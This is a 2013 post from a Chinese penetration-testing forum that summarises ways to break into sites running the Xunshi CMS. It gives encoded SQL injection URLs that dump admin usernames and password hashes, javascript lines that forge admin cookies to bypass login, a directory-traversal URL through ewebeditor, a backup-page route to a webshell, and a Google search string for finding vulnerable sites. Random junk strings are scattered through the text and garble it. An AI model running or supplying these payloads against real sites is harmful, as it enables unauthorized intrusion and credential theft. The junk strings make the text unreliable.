中国网络渗透测试联盟

标题: 讯时漏洞总结 [打印本页]
作者: admin    时间: 2013-1-16 21:25
标题: 讯时漏洞总结
by:血封忆尘
- D2 `9 c- O9 S7 C" R
' w' h. S" L2 k8 l4 G0 X在网上也有什么讯时三板斧的文章..但我个人觉得有时候靠那三种还是入侵不了（随着版本的更新）
$ s' _1 q1 L9 G" u$ R# V. o/ h& n# j/ y5 D0 X, Y) k
以下本文总结来自黑防去年第9期杂志上的内容...3 `8 \0 m; ?( Y* j) _* t

6 O% |, V0 E. r4 e先说一个注入吧:http://www.political-security.com/news_more.asp?lm=2 %41nd 1=2 union %53elect 1,2,3,0x3b%
$ Q6 ^# y0 B7 D" G! O5 W
( u6 j4 m8 C* d( U5 t2 c2 w! ~26user,0x3b%26pass,6,7,8 %46rom %41dmin union %53elect * %46rom lm where 1=2 ; B, m  ^4 ~. i. I: \
) \) R) F( f# t$ Q# E
记得千万别多了空格，我测试站的时候就发现多了空格注入不出结果的情况
. i) D- a+ _- R- T0 t' D- q这里一个注入9 @" _; T- u4 P# j* p! O- H

# o5 S2 B; N$ L( o. K0 J6 b效果如图:9 e, x$ ~* J3 N; }9 r3 m
4 t1 S  b' ~. y& i$ s5 T
) c7 o& D( e: Z
! _; J; T4 O0 [+ m  d4 f
这样就很轻松可以得到管理用户名与密码..这里md5可以拿去破解.但是现在安全意识的提高.
5 v' P/ \+ n& A4 q8 a1 w% R4 j; k4 E9 l( U( m
密码复杂了..很难破出来..那么我们可以通过后来cookies欺骗进去
/ F7 I) U5 b) {# E) r" C/ o) S
: c, x' M: G( T. C# Sjavascript:alert(document.cookie="adminuser="+escape("用户名"));javascript:alert(document.cookie="adminpass="+escape("md5值")); javascript:alert(document.cookie="admindj="+escape("1"));
* K8 E. ~% S+ n$ v7 n+ V. S: s/ \# T- w* _$ B
那么这里就会出现一种情况了..如果后台找不到咋办呢??请看下一漏洞让你更轻松达到你想要的效果:# ^( a+ w* Y& V& o# P

+ O) d4 O- c  _) X1 Z因为讯时结合了ewebeditor程序..而它没有在处理的时候忽视了ewebeditor有个可以列目录的漏洞
, ~7 Z/ w  G  ^$ T$ L+ [7 E) g
它是做了验证的..但讯时最没做好的地方就是验证..我们可以通过cookies欺骗来绕过验证.从而可以& h% }9 M* u* w: ]* c# ?6 F9 r
$ W2 V5 i" ~9 ^& h7 v
访问这页面来列目录..步骤如下:
& W* D. k4 Z; J* N" g/ N8 K+ L* Q1 f* }1 e+ `9 s( g
javascript:alert(document.cookie="admindj=1") , P: ]& x' R6 [  x

8 {0 |7 e' `: ehttp://www.political-security.co ... asp?id=46&dir=../..
. D9 o+ X) `/ A0 V: Z4 [
% N1 e. E7 O! c7 G) E! e2 \- S& u5 q效果如图:
& {, t8 j/ Z( s- P6 L# k. n' Z+ h: D6 Q3 N8 e
* c' ]: p5 e0 u& H6 n- P

: J! h( e: @2 q/ p3 I7 \: @这样全站目录都能瞧了..找到后台目录..进去.." l$ Z. V! t" {$ o( J+ Z# F
1 n0 C& l" `# r7 Q' G
那么进了后台怎么拿shell？？上传--备份就ok了..
+ L* M( p. e. \% S) u( p
. S9 B3 s; X; a, o, q那么有时候有些管理在做后台功能的时候把备份页面去掉了...而他本机里备份页面还是存在的..
; m* J' L2 T$ F, p- S# ^
2 @: ~4 Y. a% u$ L) z0 }这个我也碰到过一次..你都可以通过列目录来实现..* {! z9 f- |3 n  s
" i; B  }2 y) N+ Q- P3 U
javascript:alert(document.cookie="admindj=1")
& @5 P: u: k% S/ P* f& L
& ?7 `- U6 l- q% j5 J4 @( whttp://www.political-security.co ... p?action=BackupData
( o: u0 _1 `. S$ E5 W8 y3 K" ~' w" P" a# o. Y, I0 |& V9 A- g4 t
备份ok..
! f6 I: }# H; |' w& g- X/ }1 l6 f# Z+ y- N5 E: L6 A( V+ H9 l
那么以上两个漏洞都被管理封住了...咋办??上面两个是比较常见的..那么下面一个注入漏洞呢?
+ ?* Q& W9 q' M; \2 k+ u2 G  d0 t" S% F3 w7 N' A& {' Z0 j! t
在admin目录下有个admin_lm_edit.asp页面..里面的id没有过滤 那么我们就可以先cookies下- i  N! H; m8 ]# Z2 ^' `% v$ K( f
$ D: l8 E0 [* N
然后访问此页面进行注入..步骤如下:7 D1 Y' k- N8 \) n6 `0 s! V
9 e' L2 o# a  ^" b" `1 v' ^3 }4 g
javascript:alert(document.cookie="adminuser=admin");alert(document.cookie="admindj=1")
: x% k5 L( ]. |! P3 s
, C2 N* Y1 s2 \然后请求admin/admin_chk.asp页面% n9 [2 X! T0 [' Y8 T

0 }  F2 G) J/ k' n, D输入注入语句admin/admin_lm_edit.asp?id=1 %41nd 1=2 union %53elect 1,2,3,4,id%260x3b%4 J( T4 }' T3 c5 q) T7 @
3 c+ F9 @0 [# J* v' q1 A4 ]
26user%260x3b%26pass,6,7,8%20%46rom%20%41dmin
$ t! Y0 E) b- H. S- o+ l* T6 L, P$ s/ q. U
效果如图所示:% ]( h9 x: J2 L( K0 Y
) L9 b# {3 y8 e

* B* p, N8 m( S4 Z: ^$ ?) o( K" e. K) [1 s( i
讯时漏洞2- w; P/ F2 {2 X! A4 Q
google关键字：inurl:news_more.asp?lm2= （关键字很多的自己定义吧）
8 T; u4 q3 u8 \4 C 1 \: I$ F- R$ k: v8 q; r' c
1、/admin/admin_news_pl_view.asp?id=1
5 I9 u. i6 z3 Z$ C. Z9 A//id任意 填入以下语句
' C# Q5 x0 v+ t3 ? ) p  h- {0 d$ b
2、有时1显示错误信息的时候继续往后退2，3，4，我退到11才找到了页面，郁闷！
0 p  ]% \+ z9 a- F" `. t* w
1 q7 G: Q  ?0 ]1 R/ Y; G8 S  [# `( N6 Z# t& M# b) D" l4 f7 K2 m; o$ U! R+ e

& A; t; u/ ?+ o$ J4 A, ^. u3 z7 M6 q3、|'+dfirst("[user]","[admin]")+chr(124)+dfirst("[pass]","[admin]"),username='
+ G/ o. L7 T: q- F : v# K) p4 o3 g5 V) X0 e4 |

7 C0 z) J! }; d. \  U# e0 N2 c" i; J( V( d- D" y$ l4 C5 }
爆出管理员帐号和密码了1 y! e& S" v, \6 c, r! O# A
" k6 P9 e. z1 e. a  p# m8 Q

; T" n% c3 n2 D. F# N( R) ^$ t0 z! q. F1 Q% D( L, q! A
4、cookies进后台5 y4 J8 d( L7 \# z( R  @3 S

  n$ N+ y# R! V0 Cjavascript:alert(document.cookie="adminuser=" + escape("admin"));alert(document.cookie="adminpass=" + escape("480d6d6b4d57cc903f3bab877248da40"));0 F( L( I) [1 P6 W0 H! @
# C9 u3 Y! E$ j

# y1 \# v2 P% U2 t! f* W0 c, |# z% s$ A
5、后台用了cookie验证，直接访问http://www.political-security.com/admin/admin_index.asp就OK了！0 J+ l3 e7 C$ l
3 i4 M9 I, S& m" B" d

6 T) ]+ r: B% g; O+ v/ |% B: r) f# ]7 _' |! k7 D, O( j
6、后台有上传和备份取SHELL不难。+ l5 u* J( D! T0 ~0 Z! A# u
5 k2 c( h: A$ Z( I! E% w
7、讯时还有个列目录漏洞：http://www.political-security.co ... asp?id=46&dir=../.., u0 \2 D6 g4 [

; d+ ?, q+ m6 ~# h! f6 }逍遥复仇：我搞了一个讯时cms4.1版本的没有数据库备份不知道怎么搞SHELL，有的说虽然后台显示但备份页面是存在的，登录后台后访问 http://www.political-security.com/admin/admin_db_backup.asp?action=BackupData，我这个没有，郁闷着呢，谁还有其他办法提供一下，谢谢！; D) y3 H1 p4 }4 q% I$ N

0 [, `" f7 Z. A6 H2 i% @: T/ v2 k& k" [! o: D+ R' _$ E2 S
6 D1 z+ h% n# U: p( h) l




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2